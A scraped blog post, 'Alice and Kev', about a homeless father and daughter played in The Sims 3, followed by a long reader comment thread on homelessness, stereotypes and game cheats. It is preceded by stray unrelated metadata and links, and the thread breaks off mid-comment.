You probably know Meebo as a service that lets you easily chat with friends across different IM services, but the company is now rolling out a reimagined version designed around sharing. Think competitive sharing, like who can get the most traffic from their articles. It's a big switch from the former Meebo Messenger IM site (which you can still find here). I've been playing around with it, and here are some initial impressions.

2024-10-12 00:00:00

2011-12-13 00:00:00

article

techcrunch.com

TechCrunch

http://www.messwithsilverlight.com/2009/09/where-we-are/

https://boingboing.net/2018/12/15/cryto-rights-now.html

http://aliceandkev.wordpress.com/2009/06/09/alice-and-kev/

Alice and Kev

*If you have followed a link from another site straight to this page, you might want to visit the Introduction before you start reading, to learn what this is all about.* This is Kev and his daughter Alice. They’re living on a couple of park benches, surviving on free meals from work and school, and the occasional bucket of ice cream from a neighbour’s fridge. When you create a person in The Sims 3, you can give them personality traits that determine their behaviour. Kev is mean-spirited, quick to anger, and inappropriate. He also dislikes children, and he’s insane. He’s basically the worst Dad in the world. This is someone Kev met in the park. Kev implied this person’s mother was a llama. Then he tried to apologise by giving him a romantic kiss. His daughter Alice has a kind heart, but suffers from clumsiness and low self-esteem. With those traits, that Dad, and no money, she’s going to have a hard life. **Next: No hugs and no sleep** Aww i already feel sorry for Alice sounds like a fun idea, but too bad for Alice So bizarre yet interesting. I think it is pretty darn sad beacuse one day they would die of hunger and then that would be bad so if i was them i would get a cheat code and press ctrl shift holding both then press c and type in motherlode so they can get 50,000 bucks right there and can keep doing it as long as they like Yeah…it’s pretty sad…but the point is to NOT let them have any money as an experiment of homelessness. how can you make your sims homeless?? i want to a lillte story where maybe a teen ends up on the streets or something. just curious They aren’t actually homeless Robin (the creator) just used all their money on dead trees and stuff. They live in Riverview by the way 😀 Don’t pay your house bills, and then i think they’ll kick you on the street… If anyone would like to read a similar blog, check out The Life She Deserved at http://thelifeshedeserved.wordpress.com/wp-admin/ SIMply brilliant – please update asap! meanwhile im trying to spread the word for you come on give Alice a little hope tho bro! Aw, poor Alice. Poor Alice. She looks so sad 😦 Wow, this is exceptionally compelling stuff. Thanks for sharing. I just linked it up on my blog, Geek Force Five. And it’s really amazing that the AI has gotten advanced enough that it’s doing most of the storytelling on its own. I haven’t played since the early days of The Sims 2, but you’ve got me itching to make a comeback. funniest thing on the internet nice but sad story… freaking hilarious! HAHAHAH I like it, its funny as shit, I wouldnt want some one callin my mom a Llama then tryin to kiss me to apologize, i mean seriously lol, especially some grudgey dude lol HAHA i know it’s very funny, execpt that Alice has a very hard life…. its not funny,its a sad and heartbreaking story…. Wow, just 1 week and stories are already being made. I feel sorry for Alice though… Having a father like that… Keep writing. Best Regaurds, Beta Fish7728 that story was soooo sad. whoever started this, i want u to keep on writing. i can’t imagine having a father lik that. i hope later on in the story she gets help. thats sad but use the cheat code to get money and u wont run out What’s the fun in that? Ha ha ha ha ha! i agree…in sims 2, i used to always give my Sims money using CTRL+SHIFT+C and typing in ‘motherlode’ giving them $50. but i find it to be more fun if they work for it themselves. awww that would be NOO fun DONT CHEAT!!! but you should invest in buying places for money ( tohugh the onyl cheat I us is fullscreen off and enablelamias Whatdoes the enable llamas cheat do? Why did you make a homeless story? Have you ever been homeless or know some one who is homeless? What point are you trying to make? I don’t get it! Sorry. I think it’s to show off the power of the AI in this game. Plus, who doesn’t find a man calling someone’s mom a llama oddly hilarious? And then trying to kiss him. Baha. …Maybe he’s trying to shed light on the complexity of homelessness and to do a social experiment–even in a game, is it possible to get out of this cycle? ALSO: Note that this is getting a lot of interest, and there is a “donate to charity” to serve homeless people. This also does show the complexity of the AI and how we are getting closer to social modeling in a game than anyone ever thought would be possible. I work in gaming science and I gotta say, this is really cool and and running a “social” test makes a great point as well. Sorry if you don’t “get” it, but I think it actually helps to validate that people ARE struggling. You obviously have been lucky enough to come from some sort of priveleged background. I can’t understand why you wouldn’t understand this experiment or the point that’s being made. I’ve never been homeless but I can sure imagine how awful it must be to have to live like that. This story is most likely aimed more at people like you, who need to understand that not everyone has a wonderful life with no troubles. To the story writer. I want to say thank you for doing this. I would never have thought of something like that. This indeed, does show the extent of the AI in sims 3, I doubt it would have worked in sims 2. Keep going, I’ve book marked you and a lot of people are watching this. Well done. I’ve been fortunate to be Alice. Parents were loosers. I know from experience that the only thing keeping these people on the street is themselves. There are half-way houses, and government programs to help them get on their feet. These “poor people” are anything but. Since I was here and now have a job, my own apartment, and a good life, I know that anything is possible. It’s a game. A new one at that.Why does he have to have a reason to experiment with a homeless story.I imagine it was just to see what they would do.A challenge to see if they could survive. I’ve been homeless. With my son, we lived in shelters and on peoples couches etc… for about 3 years. I have had the hardest time finding a job as I am “over qualified”.. I would love to know what that really means, LOL. It is not easy especially when it came about do to a house fire that destroyed all I owned including my home based business, mortgage co. cancelled insurance without notice. So I am glad someone decided to experiment cuz that poor little girl is not as lucky as my son says he was and I have seen children in that situation, it sux. Keep the story going as my son and I are both curious to know if someone will ever help her. He said he would and he is only 10. Maybe that is the point to the story. hahaha awwww. alice is so cute. i feel so badly for her. ahhhh……. come on, throw Alice a nice crumb… poor girl. i have been homeless before with my mom and having a father like that we had no money and im thirteen i was homeless till i was 10 so that isnt funny I am so sorry. people should not be doing stuff like this. Their behavior is unacceptable. We need to change the things that we cant accept I dont think its supposed to serve as a joke, Its a social experiment. Sorry though. I don’t think it’s intended to be funny at all. This is a serious issue and the vreator obviously feels strongly about the issues surrounding homelessness. I don’t think you should be judging the story maker, the people who find it funny or don’t understand the reasoning behind it are the ones with issues. The rest of us love this story and think it serves a very good purpose, two in fact. One, to highlight the plight of the homeless and two, to show the scope of this game I don’t understand what the big deal is . Why are people getting so worked up over an experiment in a game. I think it is a good idea to let the game go on it’s own once in a while.You never no what will happen and it makes for more interesting game play.My husband actually found something out on accident.He found that having a child in the game was to much for him to keep up with.So he bought the birthday cake to age him up and just move him out, but there must have been a glitch because it would not allow it.He could age everyone in the house except the baby.Even people at the party.So he decided to let the social worker come for him.It took two days, plus the parents could not/would not sleep.They could do everything else but sleep while the baby was in asperation failier,and the kid wasn’t even in their house.You couldn’t make them sleep , nor would they pass out from exhaustion. this is a pretty storie but sad I have to say that the creators of Our stories make them very real. Life it self is real & We pour it into our stories. WE are playing God. Being homless is very real. Dont you ever look around when your walking or driving and say… Look theres a sims house in the store and look at someone that reminds you of one of your sims… they have baby sims potty chairs at Walmart..lol It is as real as you make it. And some of you really put REAL LIFE into it.. THX for all your stories from the sims 2 and looking forward to more in the sims 3 Angel Poor Alice! Hope somehow…she can get a better life! I believe in the Sims world, it must be possible! :@) Interesting concept and challenge. I look forward to following how their story progresses. 🙂 Okay this is the WORST story ever. There is nothing funny about being homeless. You people who are laughing at this are so putrid. I can still taste the puke in my mouth from you terrible people’s comments. THIS IS THE WORST STORY EVER!!!!! It’s worse than any stupid other story in the world. Why would you make fun of homeless people?! they’re not making fun of the fact that they are homeless… people are making light of the circumstances surrounding them.. like the dad sayin that dudes mom was a llama…. then trying to kiss him to make up for it??… HILARIOUS. This is not a stupid story it is a real life story, Rather you agree with the creators point of view is your choice. This is a Great story. She isn’t makling fun of any homeless people,she is making a point that homeless people have a hard life. I hope this story has a good outcome to it. No fun that Alice’s dad is a loser and then she carries some of the traits too..poor girl!! Please don’t keep her homeless for too long!! I found your site through the Something Awful Forums. Congratulations on all your press, including a spot on EA’s official Sims 3 website! Alice and Kev’s life is amusing, sad, and poignant all at the same time. How did you make them homeless? =o Very nice. I like how you build the characters by providing backgrounds for them. very well done i read the whole story looking forward to reading the next part First off, it’s a game people. It’s just a game. It’s a sad story, but interesting. I love that the Sims game has progressed to the point that “real” stories can be told. Hopefully this story will continue…. The HOMELESS… Always cast as an uncaring parent , verbally abusive with mental problems and lets not forget the loser children with NO future! Being an advocate for the HOMELESS in my area I have to say that in the past 12 years the AVERAGE househole income of a average family of four that are HOMELESS is in the 75,000 range in America. THINK about it…A lot of low income people living in projects are really in STABLE homes more so than the CORPORATE VP who has a high morgage..no rent based on income for him..and his JOB is LESS secure EACH and EVERY day! IF your income is below a certain guideline then you can get FREE health insurance…not so for the Sales Manager..he has to PAY..and pay big if it is a family plan…forget pre existing conditions. IF the VP of Operations gets his pay cut to ‘save the company’ then the Food stamp offices WILL NOT give him food stamps…cause he has ASSETS HE CAN SELL….THEN..if his kid gets sick…add a little car trouble or SOMETHING is bound to happen…BOOM! You lose it all. I find it funny about the llama and the kiss but little else. Check out INTERFAITH HOSPITALITY NETWORK AND THE HOMELESS COALITION for STATS on the HOMELESS FAMILIES….. ***YES I know this is real cause I have volunteered for well over 10 years and co wrote a book trying to chang the WAY WE ALL VIEW THE HOMELESS AS POOR, CAST DOWN, UNEDUCATED, MENTALLY NUTS,ALCOHOL OR DRUG DEPENDANT, SCHOOL DROP IOUTS, BAD PARENTS, ABUSIVE…THE LIST GOES ON AND ON… LOVE MAMMI SIM The NEXT homeless family you make…have them college educated white collar, just lost home due to downsizing and oh…yeah…the BIG CATS putting SPENDULUS money in THEIR pockets…and not helping the workers….**THIS IS NOW THE REAL HOMELESS IN AMERICA!! have you ever stepped foot in a homeless shelter? cause i’ve lived in one for 6 months.. the level of disconnect between what you see as reality and what IS the reality is astonishing. yes there are alot of white collar hard working people losing their homes right now, but that is not history’s norm. and alot of them would be in better shape, maybe not comfortable but better then they are now if they had not been living at the max of their means to this point… gorged with debt they can’t handle and living in homes they could never really afford but got the mortgage for because the banks wanted more business. I just love to see peoples reactions to a game, how some find it hilarious, and others, don’t get the Idea of the fact that it’s a game. Yes, I can agree, being homeless sucks, I know, trust me, but this is, just a game. People Have fun different ways, people think differently, just cause you think someone is “putrid” for laughing at a “Virtual Story” Doesn’t meant you haven’t been “putrid” before or thought up of bad story plots in your sim games. Hell, Enjoy the stories people write or think of, its a way to show how advanced the Sims 3 has gotten, even though it has its down points. And if some of you don’t like it, Go read another story. I look forward to seeing the development in this story. Okay yeah I still do think that they are acting “putrid” for laaughing at the homeless. why don’t you live homeless for 2 years and see why. Oh, yeah, ’cause you could’nt last two seconds. It does not show how far the Sims 3 has gotten by making fun of homeless people! Nice comeback by the way “go read another story if you don’t like it” Kinda lame dontcha think. Well put , i agree with youPeople are making way to big a deal out of a virtual game.Do something else with your time if you don’t like what people are doing and shareing with their game play im going to become homeless soon.. bad economy and my mother is kicking me out well thast really sucks and i hope everything works out for you Interesting Reply’s, I dislike people who misunderstand somebody’s post and go rank over it spewing out insults left right and centre, don’t get so angry so quickly, tell us your thoughts constructivily without hurting other people. Otherwise your getting yourself nowhere. It is very funny what the silly sad man did to the random in the park. If this actually happened I Wish I could be there to see the random persons reaction. I love the idea of throwing in a funny story to get peoples attention to how much the homeless need our help. This is a great idea and the story is very well written. It’s a stereotype and somewhat of a parody like everything else in the Sims. You know… Because it’s a virtual world. That is, not real life. You’re defending homeless people because you feel they’re being misrepresented by a virtual family in a computer game. And not even mass-produced, one person’s created virtual family. You can defend the homeless as much as you want, and I’m glad you do, but stick to the realm in which they actually exist: the real world. On another note, I am enjoying this story very much. Very creative use of the materials given to you in game, especially with the ability to roam around the neighborhood. And congrats on getting featured on TheSims3.com’s front page! Dang, I bet you’re glad you’re not hosting this blog on your own server. What a great job you’re doing here! Bookmarked so I can keep up with the story. “Yo mamma’s a llama!” Too funny! Being a mom of 2 teen boys, I can just imagine a hilarious seen with this as a “yo mamma” joke. Bwahahaha. Other dude would be like…”I don’t get it…” Gotta love the sims. 🙂 I love the SIMS, I cant wait to get SIMS 3. This new sims is totally the thing. I love the storyline already I am a sims-a-holic i also love the sims but not as much as sims 2! im a sims2_a_holic also a chocolate_a_holic i love chocolate!!!!!! Oh I feall so sorr for her How can I make MY story have comments? P.S. Great story! What I want to know is how did these two sims come to be homeless…? I feel sorry for Alice, her dad sucks. That would suck 0.0 Hello :)!!! I read a review on your story and how you came about to creating it and all…this was a really kewl idea and neat story :)!!! I LIKE!!! Great job :D!!! -Rebecca 🙂 On the comments: It is so amazing to see the humane side of society’s response to this story. I truely admire people who have involved themselves in social causes, and strive to promote the betterment of humanity. At the same time, this changes them forever. You can never go back to a state of ignorance regarding something like this. And you can never again have that well psychologically defended typical response that people who haven’t been exposed to RL can have. For those of us who have not been exposed, or who have not had the experience of working with, living in, or in any way having RL contact with the homeless, please understand, that the comments made by people who have, are totally about them and their experience. The intensity of their response is part of the experience of having chosen to be involved. I personally give lots of room for this in my contact with people like this. The impact that RL has on human beings who choose to get involved is profound. They don’t walk away unaffected–we are not hardwired that way as human beings–one of the beautiful parts of humanity. One the story: Totally creative use of the tools! A wonderful act on the part of humanity that has not been exposed to the reality of homelessness, but still tries to relaste. I truely admire this, as a human act of attempted sensitivity and of identification–given the limitations of yjr creator’s experience. Congratulations on a truely creative use of the tools at this point in humanity’s development. A magnificent creative attempt to give voice to that part of humanity that when exercised, remains beautifully alive, and stiving. Come on people, it is just a game. I have been homeless in the past and believe me it is not funny to be homeless. But I take into consideration that this is a game, and I do find this story funny. I am looking forward to seeing what happens next. By the bye, what is the cheat code to get your Sims more simoleons? My Sims are hard working but struggling financially. Too much like real life! I would like to buy them a nicer house, but can’t! a cheat is motherlode it gets you 50,000 “Motherlode” just like the sims 2 it gives you $50,000. Another is testingcheatsenabled true, it is like the “boolprop” cheat from the sims 2, except not nearly as powerful. Poor Alice. :O(( I feel so sorry for her … having a father like that, and being a child with no way to better herself. *sniffle* Actually the girl has plenty of avenues to better herself. She can go to the Public Library and learn good skills (even without great traits). She can start collecting stuff like gems, seeds, etc. and learn things that way…growing a garden in their vacant lot (technically they are homeless but not “lot-less”) Oh my God, I have tears in my eyes. Wow, this is really cool. I just found the blog and plan on reading the other sections as well! Cool idea, can’t wait to read the next installment (which I shall find shortly) Haha that’s awesome, but I feel sorry for alice she should get a home and ditch the old man haha. Hahahaha rofl, I love the way you write this column! You’re a genius, creator of the homeless family! Do you think you could make the family downloadable so I can have the same homeless ppl in my city? 😀 Btw, the llama thing was TOTALLY taken from Monty Python and the Holy Grail– well the idea– cuz in the intro credits there was a large bit about a moose, and its the same idea, basically. Bahaha. you guys have a typo on the title it says alex and kev but its alice and kev Can’t we all just enjoy being human, homeless or not? I do understand freedom of speech, but there is also so much animosity in this World now-a days…just enjoy the game and leave the unconstructive remarks for your own negative reality (obvious whom I’m referring to !) ! I’m SURE the person whom wrote this story did NOT write it to hurt anyone’s feelings or start a ‘riot’…all she was doing was trying to express her artistic side and in the process created a very interesting story (FICTION)…people write about all kinds of situations and circumstances in a fictitious manner regardless of the conclusion…give the poor gal a break…why not congratulate her on a well composed story (good grammar maybe…good plot…etc…etc..), rather than criticizing her for expressing this fantastic work of art!!!! …life’s hard enough for everyone no matter who we are, we all have our OWN trials and tribulations, we all suffer in different sorts…don’t make someone else who you know nothing about personally suffer unnecessarily due to this obvious immature behavior! 🙂 Take a hint…stop and smell the roses, life is to short :D!!!! -Rebecca 🙂 (I also agree w/ MerzWorld :)…I’d like to D/L it as well!!!) Reffering to Rebecca Okay so who exactly is she reffering to then because if she is trying to say that people should stop being mean then she should stop doing it herself. What she said is just plain mean!!!!! Really, WORK OF ART!!!!! more like… nevermind I dont think that anyone that she is talking about is trying to hurt the person who created this things feelings but she/he is probably trying to express their opinions thierself so if you are trying to prove your point then you might want to try to do it in a nicer way insteead of dowing people then telling them that they should not do the same thing to others. It’s like an alchoholic telling somebody not to drink and drive. So you might want to take the plank out of your eye Rebecca before you try to take the prick out of somebody elses. o i love that! it’s sooo sad! i feel so bad for her… Please post how you made your sims homeless? Or did you just make their home lot empty with a couple of benches? that sdi pretty much wehqat Robin did, yeah Clearly the Social Worker should get involved beyong the toddler stage. Children can be adopted I know so it’s odd she hasn’t come around to take the girl to a better “home” (or A home). And mental hospitals are for guys like the dad, or jail. If he has a job why doesn’t he have at least an apartment? I guess in real life he’d be a meth addict or something that they won’t show in the Sims game itself. That would be where all his money goes I guess. In the Sims, the game recognizes a lot as a home whether there is a house on it or not. And they can’t take your children away strictly for being homeless in real life either. As for the dad, why do you think he belongs in a mental hospital just because he’s homeless? I have a job and I can’t afford an apartment. Thankfully I have a place to live anyway. He is insane. That would explain the calling for a mental hospital. Oh my gosh I was thinking the exact same thing about the social worker. I guess the social workers dont care as much in the sims 3. You used to neglect your baby for five seconds and they rushed to your house but my younger sister didnt want her baby and she neglected it for sooooo long and they wouldnt come! Took my husbands game at least two days before the social worker came.The baby was in complete asperation failier.He had to build a seperate room so he wouldn’t have to hear it crying.I was surprised to see how long it took, but also relieved because now i no i don’t have to rush to the baby as soon as it starts crying.Much more realistic so you CAN be a hobo this changes everything p.s. Alice needs a foster home and the dad needs to be locked up. We reviewed your blog and think it is fantastic. JOnathan owwhh that’s so sad.. but it’s fantastic! go and make another stories please 🙂 I love this story. I downloaded it and have been playing it. Alice got a part-time job cause she was so tired of having nothing and that helped a little at first but then Kev went to jail and my game sort of hiccuped. In the top corner it said wait and had a pic of the cops so I assumed he went to jail and went back to playing Alice. Poor Kev never moved again. He just stuck there. Nothing I did worked so finally I gave up. He was stuck like that for several days (Sim time) before the grim reaper showed up and put him out of his misery. As for Alice, her part-time job paid the bills and for food she planted apple trees, grapes and tomatoes. She also fished and sold them at the market. Every day she went to the gym to shower and use the bathroom and the library for learning. When Kev first died I expected Social Services to show up but they never did. She graduated high school with a B average. Her experiences as a child have affected her greatly and she is fighting to get out of poverty. She still lives on the same lot but has managed to build a little one room shack on it. Poor thing still can’t afford plumbing but the gym is still free. And she has begun to work out while there. Her goal is to rule the free world. A tall order but she’s a tough cookie. What we need is someone to come up with a hacked cardboard box (for sleeping in), a pushable shopping cart full of recycled treasures and rags for blankets so we can add a measure of realism for innerSimcities. The imagination and gameplay by Simmers is astonishing and amazing. I’ve been playing since the original Sim’s version and truly enjoy reading the stories that are published. Keep it up people and don’t let those who are highly critical scare you off from exercising your creativity. She may have a dad who looks as though his attitude would scare even the bravest of Sims, Alice looks like – with a bit of help from the creativity of sim players – she could go far. Good luck to her! awww poor alice!!! hopefully she turns out much better than her dad… when she grows up she should have the “good” trait! that might help her a bit… 8] her dad’s a buttt.. She does have it! how do you make the sims homeless? please tell me I’ve seen this on the Sims 3 facebook page but never looked into it until now. Totally awesome! I’m excited to read on. 🙂 How cool that The Sims 3 has inspired a sociology debate and such creativity from its players! Sorry about the lame comeback thing. I’m just REALLY sick and tired of all these peoppole shunning and jeering at the homeless people like it’s their fault that they are homeless. That story is a great one but also it is quite sad. It has really touched me. The young girl, Alice is a very unfortunate kid indeed with a very mean dad. Overall good story, can’t wait for more. Ps: you should make a movie out of it for sims 3 website. wow. poor alice. :[ Dang. That thats got to be one of the worst families ive ever seen. And dpoor Alice Wow that was a really great story! You have so many admiring fans! Like me! I hope to one day have a site like yours! I made mine and discovered yours! You are truly amazing and so if you visit my site and give me a few pointers or recommendations I would gladly attempt them! I am still working on getting some stories up so bear with me but enjoy the little I do have up! Thanks so much for being such an amazing writer! ENJOY LIFE! P.S. I cannot wait to see what Alice will do next… Oh and Kev too! Find that ghost again??? I hope so! 😉 How do you make your sims homeless? ^_^ This story is truely amazing and even though it is just a game, it shows you what can really happen in this horrible world. Even though I have never been homeless there are very close calls that I have had, sometimes i’ve had to give up things that matter to me. I think that if we had just a bit more love in the world then maybe we could live better lives. I am a long player of The Sims 2 and 3 and I must say that the realisim in this game is the most amazing I have ever seen, I love making stories though I’ve never thought of a homeless one. Reading this gets you thinking, ” What is this was real? What is this was me? ” but to start thinking this, put yourself in the picture first. Imagine yourself sleeping on a park bench with your daughter, or imagine yourself as Alice, barefooted and having an insane father calling peoples mothers llamas. For once think that this ISN’T JUST a game. This is really happening all around us, and most of these people simply die on the streets without anyone caring at all. I saw a video once of a homless man falling down and dying, you know what everyone else around him did? Instead of calling 911 they left him. he had an hour to live before someone finally called, but it was too late. he had been dead and nobody cared. Just for once, I wish people would care and put others first, putting themselves in that situion. Thank you all who have decided to read this. There truely are good people out there, and I’ve seen many of them on this post. As to the writer, thank you for opening peoples eyes. this is not a game, its real. Seriously – you guys are arguing over this?? It’s a game folks… let’s not lose perspective… I think it’s great – I love the way people get creative in their stories… I suppose the same people would read into the Black Widow’s Garden as some sort of serial killer ploy too. It’s a game… coool how do you make them homeless??? This is fascinating…I am going to tell my friends to follow this story with me… Why is everyone so uptight? It’s an interesting socialogical experiment! I dont understand why so many people in this world take everything SO seriously…It’s just a game, no one is REALLY homeless… Keep going with your story it sounds so cool. What a great concept, I cant believe it’s possible! How do you make a sim homeless by the way?? I do agree with you, Sims 3 is a game in which fictional live their lives. I feel that this story is not to enthuse about homeslessness but rather give us a good story from a fictional life on Sims 3. I think we all need to relax a little and enjoy a story, much like we do when we watch a movie or read. P.S. You cannot actually make them homeless, you have to move them onto an empty lot and just buy trees and benches to waste your money. Well, YOU brought up sociology 🙂 so I have to say, a make-believe world that does not approximate a true capitalist economy can not in any way show us anything about homelessness in the real world. This is contrived homelessness that had to be forced in a game that, unlike in real life, makes homelessness a choice rather than a consequence of natural, political, sociocultural and economic events (think Katrina, wars, recessions, bankruptcy due to medical bills, etc.). By the way, I doubt that the author would have posted this article if she didn’t want feedback, positive or negative – she studies gaming, after all. The purpose of the Sims3 is to give people a chance to simulate the life course. I think all of the responses are interesting. HAHAHAHAHA…… nice story! Awwwww! poor Alice she looks so sad 😦 You should definitely give Alice a mom. How did you keep the social worker from coming to get Alice?? This is really brilliant! Great job! I just love the Sims 3. You gave me some ideas too 😉 Just ’cause the dad’s insane and all that doesn’t mean he’s a “horrible person”. Meanie. This is the best Sims adventure I’ve seen since I made the Justice League in Sims 1. Aquaman refused to leave the couch, got fired, made a mess all day while everyone was at work, and then insulted them when they got back. What a champ. I love the personalities in these games. Muy interesante! I can’t wait to see how it turns out. You should make a sequal. Omg I love the idea haha poor Alice though This is so horrible! Awwww, I kind of want to make them though. Hahaha, this brought on inspiration. 🙂 Remember that the cultural values of the game’s designers are built into the Sims3 game. What they expect is for every Sim to get a job, build skills, and spend, spend, spend on more and more expensive objects and services. The game is subsequently geared towards GIVING Sims jobs, so it is highly improbable that a Sim would become homeless in the Sims3 world unless the Sim had only negative personality characteristics and the player turned down every job handed to the Sim. Now, does this not play into our negative cultural beliefs about the homeless? Our “Us vs. Them” and “blame the victim” mentality? Yikes! Uncritical thinkers playing this game will totally buy into that shallow thinking. I hope these players- many of them teenagers- realize that the games designers are perpetuating a stereotype and cultural beliefs about the homeless. In the Sims3 world a homeless person would HAVE to be blamed for his or her condition due to being eccentric, antisocial, lazy, neurotic, etc.,and for purposely turning down every job offered or losing every job obtained. In the real world, of course, jobs are not handed out to any person who walks into a place of business. Family Funds do not exist to be applied to any class you want to take, and cabs do not show up at the wave of a hand to get you to school or work. The majority of homeless people are employable and want to be employed, but can’t earn enough to make it – particularly in this recession. I can understand the concerns of the people criticizing the way you have characterized your homeless Sims. I sincerely hope that the stereotypes you have applied to them do not reflect your view of real-life homeless people. Thank you for that comment, Allison. It does pain me that Kev has turned out very reminiscent of a negative stereotype. Particularly now that the blog has become so popular. When I first began planning this, there was only going to be one abandoned teenage sim, with a life as difficult as I could make it. When researching traits in anticipation of the game coming out, it occurred to me that her life might be harder with a parent with a particular set of traits than with no parent at all. And that’s the thinking that went into the personality of Kev – any trait that might make it more difficult for the people around him. Some of the things that came out of that personality amused me, and it’s only when I look back on it now that the blog has received so much attention that I realise what I’ve ended up with is a negative stereotype of a homeless person, and I feel guilty. I don’t think you should feel guilty.It was not your intention for this to be a stereo type,it was an experiment conducted with the best intentions. I think you have done a good job, and people are taking this way to seriously.It Still is JUST A GAME.It’s still, JUST A STORY.Like reading a book.I hope people also read your response to this because they would then no for sure that it wasn’t ment as a negative look on the homeless. Kudos for you work. Looks like someone needs to call Betty the social worker. LOL!! BEST. COMMENT. EVER. Wow, thanks for that last post! I was trying to think how to say almost exactly that. The most succinct I came up with was to ask why not make normal Sims with ordinary array of characteristics and then pound them with life events instead of making them awful people who maybe deserve it. A hardknock life is possible for regular Sims, and not all that hard — my first Sims family ever was a mom and a dad with two little girls, and by the end of my first week playing the mother had burned to death in a house fire (in front of the girls), the girls were screaming teenagers at each others throats, the father was still a lowly whatever-his-job-was, there were weeds all over the yard, and all they had for fun was the little stereo (broken) and a swing set. They only had the starter stove (I didn’t understand that some stoves cook better nutrition than others), and they slept on cruddy beds so they were never comfortable or rested. Needless to say homework was mostly not getting done, and the Social Worker warning box was popping up a lot. This was before University so I couldn’t send the rotten girls off to school to give the poor dishwashing dad some peace. Somehow though the girls finally made it to adulthood and the old dad ended up having some good times before he died. I am scarred for life. My point is, mean or nice, bad things happen to good Sims, and there’s no reason for Alice (or her dad) to be so dislikeable. What if you used the great stuff you’ve built (the lot, etc.) to make a comparison, ran the same scenario exactly but changed their personalities to a more natural mix of positive and negative? It would be interesting to see what values/beliefs about human nature EA has programmed in. In general, Sims is pretty good — as example, I was struck and really touched when I realized that my Sim family members had to actively make friends with one another. Wow. Overall, this is an amazing, creative, fascinating project you’ve come up with. I hope you can use it to get a PhD or write a book or something. I’m sitting here admiring you, Robin Burkinshaw. Oh! You have read “Hamlet on the Holodeck” haven’t you? 🙂 Robin Oh come ooon!!! Give her a chance!!! She looks pretty though… Gawd, it must be hard playing those two… especially the Dad… Awesome idea, just don’t be so harsh on Alice! i’ve been homeless, and i’ll say a couple of things. 1. this is freakin’ awesome! 2. in RL, if alice planted a garden in that lot, she and her father would be asked by cops to move because it would bring it to the attention of ppl who “don’t like homeless.” 3. if they didn’t instantly leave–maybe or maybe not being given time to get their belongings by the cops–they would be taken to jail for trespassing, or maybe just ticketed. 4. if they got a ticket and ignored it because they couldn’t pay the fine, they would then have warrants. they could then be tossed in jail for quite some time for some minor infraction later, or even if they weren’t doing anything but a cop decided to run an ID check. 5. in RL they have no viable way to better their lot. alice certainly might be able to down the line, and studying never hurt anyone. but she probably would have trouble concentrating, and would have nowhere to keep notes, art work, and so on. keeping physically safe–from disease, the elements, and other ppl would take priority over other things. (her dad is unhireable, and probably couldn’t keep housing except in a very structured situation with psych staff living on-premises). 6. in regard to the negative commenters: i’ve found that if you have to tell someone how to be a decent human being, you may as well save your breath. experience may teach them. or i may not. 7. again: freakin’ awesome idea, on every level! That’s so sad. I feel sorry for Alice. The last picture is amazing =) jajaja buenisimo el game y mas le das una history notorio buena conclusion del game. I understand the “experiment” but not why you enjoy this type of difficulty in your sims 3 files. For me Sims 3 is about giving my characters the good life which is impossible when I do things to ratchet up the difficulty of ganmeplay. I am not above allowing Sims to suffer or even killing them on occasion. But for the most part the fun of the Sims is me giving them a better reality than my own, which includes,to the consternation of a few prudes at Maxis HQ, the reckless and completely irresponsible pursuit of indiscriminate WOOHOO. I play my game in this fashion as well.I cheat to et money and then decorate how i might like my house done is i had that kind of money.My sims are spoiled.The usually get what ever they want.Sometimes when creating a story on 2 i would kill some of them off like it was some mysterious bad curse. Congrats on making it to the sims official website. Great story line, the things they have made possible with the sims is great. they have come along way since the original. I agree that this social experiment is a good idea. Poverty is a major problem of the world and this story is showing a somewhat dire circumstance of it (I say ‘somewhat’ because there are worse conditions in countries such as Africa and Asia) It is hard to believe that people can find humor in this story- also seeing as this man (or sim, but he represents a man) has mental problems- as this is the cause for many to be put on the streets. While I am not trying to be harsh or critisize, I am still trying to prove a point to all who do not take the issue seriously enough.. I hear Alice and Kev are getting their own reality show on FOX. FOX doesn’t need Alice and Kev they could just do the same bit with Megyn Kelly and her co-anchor. LOL So neat how you, think up stories for your Sims. I have yet to get that far, I do good to keep mine happy. If you all have a soft spot for these characters, realize that there are thousands upon thousands of people like them roaming the streets of America. If you really have soft spot for them, then actually do something. Give to a local charity, give the bum on the side of the road a few bucks, or better yet, write your representative to create funding to help these people. We have many programs to help different types of people around the country but there are very few that actually help the destitute. Just something to think about when you say you feel sorry for a computer animation. There are real people out there struggling to live. economic Reality Bites:But thay know how to survive,Unlike the new Reality show;yuppys on the skidds.Brought to you by unchecked greed. This idea is really interesting. And I may even do something like that with my game. (Not homeless though, that’s already done. I will create something even more bizarre! Bwahahaha) This is a really fascinating use of the Sims 3 game. I currently don’t have a computer that’s good enough to run the game, but I can’t wait until I do, and can. This story is inspiring! 🙂 Does Alice’s Mom ever show up in the picture? I noticed Kev still has his wedding ring on. You’ve inspired me to make a short film based on Alice and Kev. Man by the time I read Violence – I was rolling laughing. Kevin Spacey would make a great kev lol I tried making a homeless family in the Sims 2 and they used Freestyle for Tips to get by. They lived in tents, too. They had a cool sort of gypsy lot when I was done. This is at least fifty times cooler than what I did. I love reading it everyday, keep it up! 😀 This sound like a neat idea. Homeless AI. Unfortunately, you have split your content onto way too many pages. This first page has about 5 tiny paragraphs. On principle, I can not continue. I do not endorse abhorrent, anti-social behavior, except for, or course, my own. Just love it.. keep it up lol love love love love this story! im completly addicted! i just wish there was some backsory to the characters…like who is alice’s mother and what was she thinking I’m making a homeless family like yours, except I’m giving the kid good traits… I just didn’t have the heart to doom them for life. Good story! I love this concept! hehe keeping me very entertained, keep it up! =) lolz so good you should make more scenarios I think it’s very cool story, love it 🙂 i dont get why people are disliking this… i understand tht they r poor in all but this is for fun. not to make fun of homeless people. but i have a q. can u actully make people homeless? Yes, You Can. Just Give Them An Empty Spot O’ Land, Build It Like A Bit Of The Environment Or A Deserted Park, And BOOM; There You Have It! Fresh As A Daisy. Lolkittehz Weel Rool Teh Weurld! this is such a unique idea i love it! This is an interesting story 🙂 Unique I like this interesting “investigation” if you will, haha and to whoever said, do you even know what it’s like to be homeless? or something like that, if everyone could just read the imtroduction, that would be a good help to this girl. 🙂 How do i become homeless like that on the sims 3 ??? Do i just stop paying my bill sor put them on a lot with no house or items ?? Please tell me ! All Robin pretty much did was move them into a residental lot resembling an old park and moved them in. Then he somehow depleted the money(whether buying a bunch of trees or just using a hceat maybe). You can do the same thing by moving your “homeless” sims into a vacant lot and spiffing it up anyways you`d like to!! Hope i helped! There’s enough poverty and violence in the world already… no point in intentionally making more, even if it is virtual. he is not 